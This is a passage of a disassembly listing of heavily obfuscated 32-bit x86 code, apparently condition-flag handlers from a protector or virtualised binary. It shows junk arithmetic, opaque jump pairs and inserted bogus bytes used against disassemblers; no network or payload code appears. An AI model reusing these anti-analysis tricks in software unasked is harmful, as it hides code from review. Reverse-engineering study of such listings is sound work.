		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4986BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498792	proc near		; DATA XREF: sub_4965D8+118Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		jo	short loc_4987FA
		jl	short loc_4987F8


loc_4987F5:				; CODE XREF: sub_498792:loc_4987F8j
					; sub_498792:loc_4987FAj
		jmp	short loc_4987FC
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4987F8:				; CODE XREF: sub_498792+61j
		jz	short loc_4987F5


loc_4987FA:				; CODE XREF: sub_498792+5Fj
		jmp	short loc_4987F5
; ---------------------------------------------------------------------------


loc_4987FC:				; CODE XREF: sub_498792:loc_4987F5j
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498851
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498851:				; CODE XREF: sub_498792+B4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498792	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498865	proc near		; DATA XREF: sub_4965D8+E5Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 4
		dec	bh
		dec	bh
		dec	bh
		xor	bh, 1
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 10h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_4989AB
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 1
		dec	bh
		and	eax, 41h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 97h
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49893F
		jl	short loc_49893D


loc_498938:				; CODE XREF: sub_498865:loc_49893Dj
					; sub_498865:loc_49893Fj
		jmp	short loc_498941
; ---------------------------------------------------------------------------
		dw 12B8h
		db 26h
; ---------------------------------------------------------------------------


loc_49893D:				; CODE XREF: sub_498865+D1j
		jz	short loc_498938


loc_49893F:				; CODE XREF: sub_498865+CFj
		jmp	short loc_498938
; ---------------------------------------------------------------------------


loc_498941:				; CODE XREF: sub_498865:loc_498938j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		jo	short loc_498964
		jl	short loc_498962


loc_49895D:				; CODE XREF: sub_498865:loc_498962j
					; sub_498865:loc_498964j
		jmp	short loc_498966
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		adc	ah, [esi]


loc_498962:				; CODE XREF: sub_498865+F6j
		jz	short loc_49895D


loc_498964:				; CODE XREF: sub_498865+F4j
		jmp	short loc_49895D
; ---------------------------------------------------------------------------


loc_498966:				; CODE XREF: sub_498865:loc_49895Dj
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49898C
		jl	short loc_49898A


loc_498985:				; CODE XREF: sub_498865:loc_49898Aj
					; sub_498865:loc_49898Cj
		jmp	short loc_49898E
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49898A:				; CODE XREF: sub_498865+11Ej
		jz	short loc_498985


loc_49898C:				; CODE XREF: sub_498865+11Cj
		jmp	short loc_498985
; ---------------------------------------------------------------------------


loc_49898E:				; CODE XREF: sub_498865:loc_498985j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49899D
		jl	short loc_49899B


loc_498998:				; CODE XREF: sub_498865:loc_49899Bj
					; sub_498865:loc_49899Dj
		jmp	short loc_49899F
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49899B:				; CODE XREF: sub_498865+131j
		jz	short loc_498998


loc_49899D:				; CODE XREF: sub_498865+12Fj
		jmp	short loc_498998
; ---------------------------------------------------------------------------


loc_49899F:				; CODE XREF: sub_498865:loc_498998j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4989AB
		and	eax, 0
		inc	eax
		jmp	short loc_4989AE
; ---------------------------------------------------------------------------


loc_4989AB:				; CODE XREF: sub_498865+7Cj
					; sub_498865+13Ej
		and	eax, 0


loc_4989AE:				; CODE XREF: sub_498865+144j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4989D1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4989D1:				; CODE XREF: sub_498865+161j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498865	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4989E5	proc near		; DATA XREF: sub_4965D8+38Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498A7B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498A7B:				; CODE XREF: sub_4989E5+8Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4989E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498A8F	proc near		; DATA XREF: sub_4965D8+1367o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 8
		dec	ch
		and	ah, ch
		mov	cl, 0BEh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 80h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		jo	short loc_498B56
		jl	short loc_498B54


loc_498B51:				; CODE XREF: sub_498A8F:loc_498B54j
					; sub_498A8F:loc_498B56j
		jmp	short loc_498B58
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_498B54:				; CODE XREF: sub_498A8F+C0j
		jz	short loc_498B51


loc_498B56:				; CODE XREF: sub_498A8F+BEj
		jmp	short loc_498B51
; ---------------------------------------------------------------------------


loc_498B58:				; CODE XREF: sub_498A8F:loc_498B51j
		setnz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498B80
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498B80:				; CODE XREF: sub_498A8F+E6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498A8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498B94	proc near		; DATA XREF: sub_4965D8+B41o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1F00h
		pop	ebx
		jo	short loc_498BCA
		jl	short loc_498BC8


loc_498BC3:				; CODE XREF: sub_498B94:loc_498BC8j
					; sub_498B94:loc_498BCAj
		jmp	short loc_498BCC
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_498BC8:				; CODE XREF: sub_498B94+2Dj
		jz	short loc_498BC3


loc_498BCA:				; CODE XREF: sub_498B94+2Bj
		jmp	short loc_498BC3
; ---------------------------------------------------------------------------


loc_498BCC:				; CODE XREF: sub_498B94:loc_498BC3j
		sub	bh, 3
		sub	bh, 3
		push	eax
		dec	bh
		dec	bh
		and	eax, 80h
		dec	bh
		sub	bh, 10h
		sub	bh, 5
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 16h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 8
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498C2F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498C2F:				; CODE XREF: sub_498B94+90j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498B94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498C43	proc near		; DATA XREF: sub_4965D8+569o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_498CB3
		jl	short loc_498CB1


loc_498CAE:				; CODE XREF: sub_498C43:loc_498CB1j
					; sub_498C43:loc_498CB3j
		jmp	short loc_498CB5
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_498CB1:				; CODE XREF: sub_498C43+69j
		jz	short loc_498CAE


loc_498CB3:				; CODE XREF: sub_498C43+67j
		jmp	short loc_498CAE
; ---------------------------------------------------------------------------


loc_498CB5:				; CODE XREF: sub_498C43:loc_498CAEj
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	esi
		inc	edi
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	edi
		dec	cl
		dec	cl
		dec	esi
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_498D9D
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_498D00
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_498D00:				; CODE XREF: sub_498C43+B6j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_498D43
		jl	short loc_498D41


loc_498D3C:				; CODE XREF: sub_498C43:loc_498D41j
					; sub_498C43:loc_498D43j
		jmp	short loc_498D45
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_498D41:				; CODE XREF: sub_498C43+F7j
		jz	short loc_498D3C


loc_498D43:				; CODE XREF: sub_498C43+F5j
		jmp	short loc_498D3C
; ---------------------------------------------------------------------------


loc_498D45:				; CODE XREF: sub_498C43:loc_498D3Cj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jo	short loc_498D87
		jl	short loc_498D85


loc_498D80:				; CODE XREF: sub_498C43:loc_498D85j
					; sub_498C43:loc_498D87j
		jmp	short loc_498D89
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_498D85:				; CODE XREF: sub_498C43+13Bj
		jz	short loc_498D80


loc_498D87:				; CODE XREF: sub_498C43+139j
		jmp	short loc_498D80
; ---------------------------------------------------------------------------


loc_498D89:				; CODE XREF: sub_498C43:loc_498D80j
		jnz	short loc_498D9D
		jo	short loc_498D96
		jl	short loc_498D94


loc_498D8F:				; CODE XREF: sub_498C43:loc_498D94j
					; sub_498C43:loc_498D96j
		jmp	short loc_498D98
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_498D94:				; CODE XREF: sub_498C43+14Aj
		jz	short loc_498D8F


loc_498D96:				; CODE XREF: sub_498C43+148j
		jmp	short loc_498D8F
; ---------------------------------------------------------------------------


loc_498D98:				; CODE XREF: sub_498C43:loc_498D8Fj
		and	eax, 0
		jmp	short loc_498DA1
; ---------------------------------------------------------------------------


loc_498D9D:				; CODE XREF: sub_498C43+A7j
					; sub_498C43:loc_498D89j
		and	eax, 0
		inc	eax


loc_498DA1:				; CODE XREF: sub_498C43+158j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498DC4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498DC4:				; CODE XREF: sub_498C43+176j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498C43	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498DD8	proc near		; DATA XREF: sub_4965D8+993o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498EA4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498EA4:				; CODE XREF: sub_498DD8+C1j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498EB8	proc near		; DATA XREF: sub_4965D8+9A9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_498EDD
		jl	short loc_498EDB


loc_498ED8:				; CODE XREF: sub_498EB8:loc_498EDBj
					; sub_498EB8:loc_498EDDj
		jmp	short loc_498EDF
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_498EDB:				; CODE XREF: sub_498EB8+1Ej
		jz	short loc_498ED8


loc_498EDD:				; CODE XREF: sub_498EB8+1Cj
		jmp	short loc_498ED8
; ---------------------------------------------------------------------------


loc_498EDF:				; CODE XREF: sub_498EB8:loc_498ED8j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_498F0E
		jl	short loc_498F0C


loc_498F09:				; CODE XREF: sub_498EB8:loc_498F0Cj
					; sub_498EB8:loc_498F0Ej
		jmp	short loc_498F10
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_498F0C:				; CODE XREF: sub_498EB8+4Fj
		jz	short loc_498F09


loc_498F0E:				; CODE XREF: sub_498EB8+4Dj
		jmp	short loc_498F09
; ---------------------------------------------------------------------------


loc_498F10:				; CODE XREF: sub_498EB8:loc_498F09j
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498F64
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498F64:				; CODE XREF: sub_498EB8+A1j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498EB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498F78	proc near		; DATA XREF: sub_4965D8+2C1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 6
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		add	ecx, 4
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		add	ecx, 3
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49900E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49900E:				; CODE XREF: sub_498F78+8Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498F78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499022	proc near		; DATA XREF: sub_4965D8+FDCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 41h
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		add	ecx, 0Dh
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Fh
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_4990B3
		jl	short loc_4990B1


loc_4990AE:				; CODE XREF: sub_499022:loc_4990B1j
					; sub_499022:loc_4990B3j
		jmp	short loc_4990B5
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4990B1:				; CODE XREF: sub_499022+8Aj
		jz	short loc_4990AE


loc_4990B3:				; CODE XREF: sub_499022+88j
		jmp	short loc_4990AE
; ---------------------------------------------------------------------------


loc_4990B5:				; CODE XREF: sub_499022:loc_4990AEj
		cmp	eax, edx
		jo	short loc_4990C0
		jl	short loc_4990BE


loc_4990BB:				; CODE XREF: sub_499022:loc_4990BEj
					; sub_499022:loc_4990C0j
		jmp	short loc_4990C2
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4990BE:				; CODE XREF: sub_499022+97j
		jz	short loc_4990BB


loc_4990C0:				; CODE XREF: sub_499022+95j
		jmp	short loc_4990BB
; ---------------------------------------------------------------------------


loc_4990C2:				; CODE XREF: sub_499022:loc_4990BBj
		jz	short loc_4990D5
		and	eax, 0
		jo	short loc_4990D0
		jl	short loc_4990CE


loc_4990CB:				; CODE XREF: sub_499022:loc_4990CEj
					; sub_499022:loc_4990D0j
		jmp	short loc_4990D2
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


